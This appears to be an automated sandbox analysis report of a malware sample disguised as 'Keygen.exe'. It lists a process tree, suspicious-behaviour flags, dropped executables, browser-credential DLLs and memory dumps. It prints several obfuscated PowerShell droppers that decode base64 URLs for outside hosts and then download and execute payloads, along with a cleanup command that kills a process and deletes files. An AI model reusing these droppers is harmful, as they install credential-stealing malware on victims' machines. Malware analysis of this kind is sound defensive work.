'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\timeout.exetimeout 23⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\C40.tmp\ba.hta"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""4⤵
- Blacklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Public\ita.exe"C:\Users\Public\ita.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\VjghertvcSD.exe"C:\Users\Admin\AppData\Local\Temp\VjghertvcSD.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\VjghertvcSD.exe"C:\Users\Admin\AppData\Local\Temp\VjghertvcSD.exe"7⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\IhfgetrDSqwe.exe"C:\Users\Admin\AppData\Local\Temp\IhfgetrDSqwe.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\IhfgetrDSqwe.exe"C:\Users\Admin\AppData\Local\Temp\IhfgetrDSqwe.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /pid 2392 & erase C:\Users\Admin\AppData\Local\Temp\IhfgetrDSqwe.exe & RD /S /Q C:\\ProgramData\\681051090122498\\* & exit8⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /pid 23929⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Public\ita.exe"C:\Users\Public\ita.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops desktop.ini file(s)
- Modifies system certificate store
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\C40.tmp\ba1.hta"3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x01⤵
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x11⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\MSVCP140.dll
-
C:\ProgramData\VCRUNTIME140.dll
-
C:\ProgramData\freebl3.dll
-
C:\ProgramData\mozglue.dll
-
C:\ProgramData\mozglue.dll
-
C:\ProgramData\msvcp140.dll
-
C:\ProgramData\nss3.dll
-
C:\ProgramData\nss3.dll
-
C:\ProgramData\softokn3.dll
-
C:\ProgramData\softokn3.dll
-
C:\ProgramData\softokn3.dll
-
C:\ProgramData\sqlite3.dll
-
C:\ProgramData\sqlite3.dll
-
C:\ProgramData\vcruntime140.dll
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_231c2208-0720-4eec-b9f1-8bba11abd9fa
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_235184f8-dcca-4459-ace7-181c154dff79
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_57c6647c-75fc-47bb-8ce4-3b8f0921c533
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6d5fa298-996f-4fc9-9c01-b2226cbdaeba
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7d6878ec-2a8b-418c-8f2b-b6fcd4b50cf8
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9e0db28d-3b02-49ea-badb-2b63a914f81a
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a0e2cbb4-ee36-40e3-9144-2cf1e4063f63
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_de4eedb8-4762-4c56-b80c-203df3aa6fa8
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e43ce3f6-b60d-4b70-bed1-86e53bf07360
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fabbb9cf-9b8c-4b2f-b33d-0de7a9a3a10e
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
-
C:\Users\Admin\AppData\Local\Temp\C40.tmp\Keygen.exe
-
C:\Users\Admin\AppData\Local\Temp\C40.tmp\Keygen.exe
-
C:\Users\Admin\AppData\Local\Temp\C40.tmp\b.hta
-
C:\Users\Admin\AppData\Local\Temp\C40.tmp\b1.hta
-
C:\Users\Admin\AppData\Local\Temp\C40.tmp\ba.hta
-
C:\Users\Admin\AppData\Local\Temp\C40.tmp\ba1.hta
-
C:\Users\Admin\AppData\Local\Temp\C40.tmp\m.hta
-
C:\Users\Admin\AppData\Local\Temp\C40.tmp\m1.hta
-
C:\Users\Admin\AppData\Local\Temp\C40.tmp\start.bat
-
C:\Users\Admin\AppData\Local\Temp\Gsgxeo.vbs
-
C:\Users\Admin\AppData\Local\Temp\IhfgetrDSqwe.exe
-
C:\Users\Admin\AppData\Local\Temp\IhfgetrDSqwe.exe
-
C:\Users\Admin\AppData\Local\Temp\IhfgetrDSqwe.exe
-
C:\Users\Admin\AppData\Local\Temp\IhfgetrDSqwe.exe
-
C:\Users\Admin\AppData\Local\Temp\IhfgetrDSqwe.exe
-
C:\Users\Admin\AppData\Local\Temp\Jwoasxr.vbs
-
C:\Users\Admin\AppData\Local\Temp\VjghertvcSD.exe
-
C:\Users\Admin\AppData\Local\Temp\VjghertvcSD.exe
-
C:\Users\Admin\AppData\Local\Temp\VjghertvcSD.exe
-
C:\Users\Admin\AppData\Local\Temp\VjghertvcSD.exe
-
C:\Users\Admin\AppData\Local\Temp\VjghertvcSD.exe
-
C:\Users\Admin\AppData\Local\Temp\aaa.exe
-
C:\Users\Admin\AppData\Local\Temp\aaa.exe
-
C:\Users\Admin\AppData\Local\Temp\aaa.exe
-
C:\Users\Admin\AppData\Local\Temp\ooo.exe
-
C:\Users\Admin\AppData\Local\Temp\ooo.exe
-
C:\Users\Admin\AppData\Local\Temp\ooo.exe
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
-
C:\Users\Public\cuk.exe
-
C:\Users\Public\cuk.exe
-
C:\Users\Public\cuk.exe
-
C:\Users\Public\ita.exe
-
C:\Users\Public\ita.exe
-
C:\Users\Public\ita.exe
-
C:\Users\Public\jna.exe
-
C:\Users\Public\jna.exe
-
C:\Users\Public\jna.exe
-
\ProgramData\mozglue.dll
-
\ProgramData\mozglue.dll
-
\ProgramData\mozglue.dll
-
\ProgramData\msvcp140.dll
-
\ProgramData\msvcp140.dll
-
\ProgramData\msvcp140.dll
-
\ProgramData\nss3.dll
-
\ProgramData\nss3.dll
-
\ProgramData\nss3.dll
-
\ProgramData\sqlite3.dll
-
\ProgramData\sqlite3.dll
-
\ProgramData\sqlite3.dll
-
\ProgramData\vcruntime140.dll
-
\ProgramData\vcruntime140.dll
-
\ProgramData\vcruntime140.dll
-
\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\freebl3.dll
-
\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\freebl3.dll
-
\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\mozglue.dll
-
\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\msvcp140.dll
-
\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\nss3.dll
-
\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\softokn3.dll
-
\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\vcruntime140.dll
-
\Users\Admin\AppData\LocalLow\sqlite3.dll
-
\Users\Admin\AppData\Local\Temp\C40.tmp\Keygen.exe
-
\Users\Admin\AppData\Local\Temp\IhfgetrDSqwe.exe
-
\Users\Admin\AppData\Local\Temp\IhfgetrDSqwe.exe
-
\Users\Admin\AppData\Local\Temp\IhfgetrDSqwe.exe
-
\Users\Admin\AppData\Local\Temp\IhfgetrDSqwe.exe
-
\Users\Admin\AppData\Local\Temp\IhfgetrDSqwe.exe
-
\Users\Admin\AppData\Local\Temp\IhfgetrDSqwe.exe
-
\Users\Admin\AppData\Local\Temp\VjghertvcSD.exe
-
\Users\Admin\AppData\Local\Temp\VjghertvcSD.exe
-
\Users\Admin\AppData\Local\Temp\VjghertvcSD.exe
-
\Users\Admin\AppData\Local\Temp\VjghertvcSD.exe
-
\Users\Admin\AppData\Local\Temp\VjghertvcSD.exe
-
\Users\Admin\AppData\Local\Temp\VjghertvcSD.exe
-
\Users\Admin\AppData\Local\Temp\aaa.exe
-
\Users\Admin\AppData\Local\Temp\aaa.exe
-
\Users\Admin\AppData\Local\Temp\ooo.exe
-
\Users\Admin\AppData\Local\Temp\ooo.exe
-
\Users\Public\cuk.exe
-
\Users\Public\ita.exe
-
\Users\Public\ita.exe
-
\Users\Public\jna.exe
-
\Users\Public\jna.exe
-
memory/788-180-0x00000000067C0000-0x00000000067C1000-memory.dmpFilesize
4KB
-
memory/788-34-0x0000000070D20000-0x000000007140E000-memory.dmpFilesize
6.9MB
-
memory/788-22-0x0000000000000000-mapping.dmp
-
memory/788-83-0x0000000006530000-0x0000000006531000-memory.dmpFilesize
4KB
-
memory/788-162-0x0000000006640000-0x0000000006641000-memory.dmpFilesize
4KB
-
memory/788-77-0x0000000006500000-0x0000000006501000-memory.dmpFilesize
4KB
-
memory/788-50-0x0000000001340000-0x0000000001341000-memory.dmpFilesize
4KB
-
memory/788-70-0x0000000006360000-0x0000000006361000-memory.dmpFilesize
4KB
-
memory/788-64-0x0000000006260000-0x0000000006261000-memory.dmpFilesize
4KB
-
memory/788-69-0x00000000062B0000-0x00000000062B1000-memory.dmpFilesize
4KB
-
memory/788-181-0x00000000067D0000-0x00000000067D1000-memory.dmpFilesize
4KB
-
memory/812-38-0x00000000010A0000-0x00000000010A1000-memory.dmpFilesize
4KB
-
memory/812-23-0x0000000000000000-mapping.dmp
-
memory/812-35-0x0000000070D20000-0x000000007140E000-memory.dmpFilesize
6.9MB
-
memory/952-206-0x0000000000400000-0x0000000000439000-memory.dmpFilesize
228KB
-
memory/952-211-0x0000000000400000-0x0000000000439000-memory.dmpFilesize
228KB
-
memory/952-208-0x0000000000417A8B-mapping.dmp
-
memory/964-296-0x0000000000000000-mapping.dmp
-
memory/1036-338-0x00000000026D0000-0x00000000026D1000-memory.dmpFilesize
4KB
-
memory/1036-351-0x00000000026D0000-0x00000000026D1000-memory.dmpFilesize
4KB
-
memory/1036-329-0x00000000026D0000-0x00000000026D1000-memory.dmpFilesize
4KB
-
memory/1036-341-0x00000000026D0000-0x00000000026D1000-memory.dmpFilesize
4KB
-
memory/1036-340-0x00000000026D0000-0x00000000026D1000-memory.dmpFilesize
4KB
-
memory/1048-0-0x0000000000000000-mapping.dmp
-
memory/1092-29-0x0000000000000000-mapping.dmp
-
memory/1200-27-0x0000000000000000-mapping.dmp
-
memory/1380-8-0x0000000000000000-mapping.dmp
-
memory/1484-56-0x00000000054F0000-0x00000000054F1000-memory.dmpFilesize
4KB
-
memory/1484-43-0x0000000004BB0000-0x0000000004BB1000-memory.dmpFilesize
4KB
-
memory/1484-36-0x0000000070D20000-0x000000007140E000-memory.dmpFilesize
6.9MB
-
memory/1484-30-0x0000000000000000-mapping.dmp
-
memory/1512-5-0x0000000000000000-mapping.dmp
-
memory/1512-4-0x0000000000000000-mapping.dmp
-
memory/1520-309-0x000000000041A684-mapping.dmp
-
memory/1520-307-0x0000000000400000-0x0000000000420000-memory.dmpFilesize
128KB
-
memory/1520-311-0x0000000000400000-0x0000000000420000-memory.dmpFilesize
128KB
-
memory/1520-194-0x0000000000000000-mapping.dmp
-
memory/1604-15-0x0000000000000000-mapping.dmp
-
memory/1608-197-0x0000000006500000-0x0000000006501000-memory.dmpFilesize
4KB
-
memory/1608-196-0x00000000064B0000-0x00000000064B1000-memory.dmpFilesize
4KB
-
memory/1608-21-0x0000000070D20000-0x000000007140E000-memory.dmpFilesize
6.9MB
-
memory/1608-12-0x0000000000000000-mapping.dmp
-
memory/1628-20-0x0000000070D20000-0x000000007140E000-memory.dmpFilesize
6.9MB
-
memory/1628-13-0x0000000000000000-mapping.dmp
-
memory/1692-37-0x0000000070D20000-0x000000007140E000-memory.dmpFilesize
6.9MB
-
memory/1692-31-0x0000000000000000-mapping.dmp
-
memory/1828-11-0x0000000000000000-mapping.dmp
-
memory/1832-10-0x0000000000000000-mapping.dmp
-
memory/1860-17-0x0000000000000000-mapping.dmp
-
memory/1968-18-0x0000000000000000-mapping.dmp
-
memory/1976-308-0x0000000000000000-mapping.dmp
-
memory/2124-294-0x0000000000000000-mapping.dmp
-
memory/2136-239-0x000000000041A684-mapping.dmp
-
memory/2212-295-0x0000000000000000-mapping.dmp
-
memory/2224-203-0x0000000000400000-0x0000000000493000-memory.dmpFilesize
588KB
-
memory/2224-198-0x0000000000400000-0x0000000000493000-memory.dmpFilesize
588KB
-
memory/2224-200-0x000000000043FA93-mapping.dmp
-
memory/2392-220-0x0000000000417A8B-mapping.dmp
-
memory/2496-252-0x0000000001F10000-0x0000000001F64000-memory.dmpFilesize
336KB
-
memory/2496-226-0x0000000000000000-mapping.dmp
-
memory/2496-233-0x0000000000520000-0x0000000000521000-memory.dmpFilesize
4KB
-
memory/2496-229-0x00000000000F0000-0x00000000000F1000-memory.dmpFilesize
4KB
-
memory/2496-228-0x0000000070D20000-0x000000007140E000-memory.dmpFilesize
6.9MB
-
memory/2504-303-0x0000000000000000-mapping.dmp
-
memory/2584-297-0x0000000000000000-mapping.dmp
-
memory/2584-112-0x0000000070D20000-0x000000007140E000-memory.dmpFilesize
6.9MB
-
memory/2584-186-0x000000000A060000-0x000000000A115000-memory.dmpFilesize
724KB
-
memory/2584-114-0x0000000000A60000-0x0000000000A61000-memory.dmpFilesize
4KB
-
memory/2584-106-0x0000000000000000-mapping.dmp
-
memory/2584-195-0x0000000000A30000-0x0000000000A3C000-memory.dmpFilesize
48KB
-
memory/2584-122-0x00000000004B0000-0x00000000004B1000-memory.dmpFilesize
4KB
-
memory/2600-110-0x0000000000000000-mapping.dmp
-
memory/2656-236-0x0000000000400000-0x0000000000425000-memory.dmpFilesize
148KB
-
memory/2656-232-0x0000000000400000-0x0000000000425000-memory.dmpFilesize
148KB
-
memory/2656-234-0x000000000041A684-mapping.dmp
-
memory/2680-125-0x0000000000000000-mapping.dmp
-
memory/2700-121-0x0000000000000000-mapping.dmp
-
memory/2764-133-0x0000000000000000-mapping.dmp
-
memory/2796-269-0x00000000002F0000-0x00000000002F1000-memory.dmpFilesize
4KB
-
memory/2796-304-0x00000000004F0000-0x0000000000514000-memory.dmpFilesize
144KB
-
memory/2796-267-0x0000000000E00000-0x0000000000E01000-memory.dmpFilesize
4KB
-
memory/2796-265-0x0000000073210000-0x00000000738FE000-memory.dmpFilesize
6.9MB
-
memory/2796-263-0x0000000000000000-mapping.dmp
-
memory/2804-137-0x0000000000000000-mapping.dmp
-
memory/2820-258-0x0000000000417A8B-mapping.dmp
-
memory/2820-257-0x0000000000400000-0x0000000000434000-memory.dmpFilesize
208KB
-
memory/2820-261-0x0000000000400000-0x0000000000434000-memory.dmpFilesize
208KB
-
memory/2828-145-0x0000000000400000-0x0000000000498000-memory.dmpFilesize
608KB
-
memory/2828-146-0x000000000043FA93-mapping.dmp
-
memory/2828-150-0x0000000000400000-0x0000000000498000-memory.dmpFilesize
608KB
-
memory/2840-182-0x000007FEF6980000-0x000007FEF6BFA000-memory.dmpFilesize
2.5MB
-
memory/2872-144-0x0000000000000000-mapping.dmp
-
memory/2888-266-0x00000000026E0000-0x00000000026E4000-memory.dmpFilesize
16KB
-
memory/2888-253-0x0000000000000000-mapping.dmp
-
memory/2908-157-0x000000000043FA93-mapping.dmp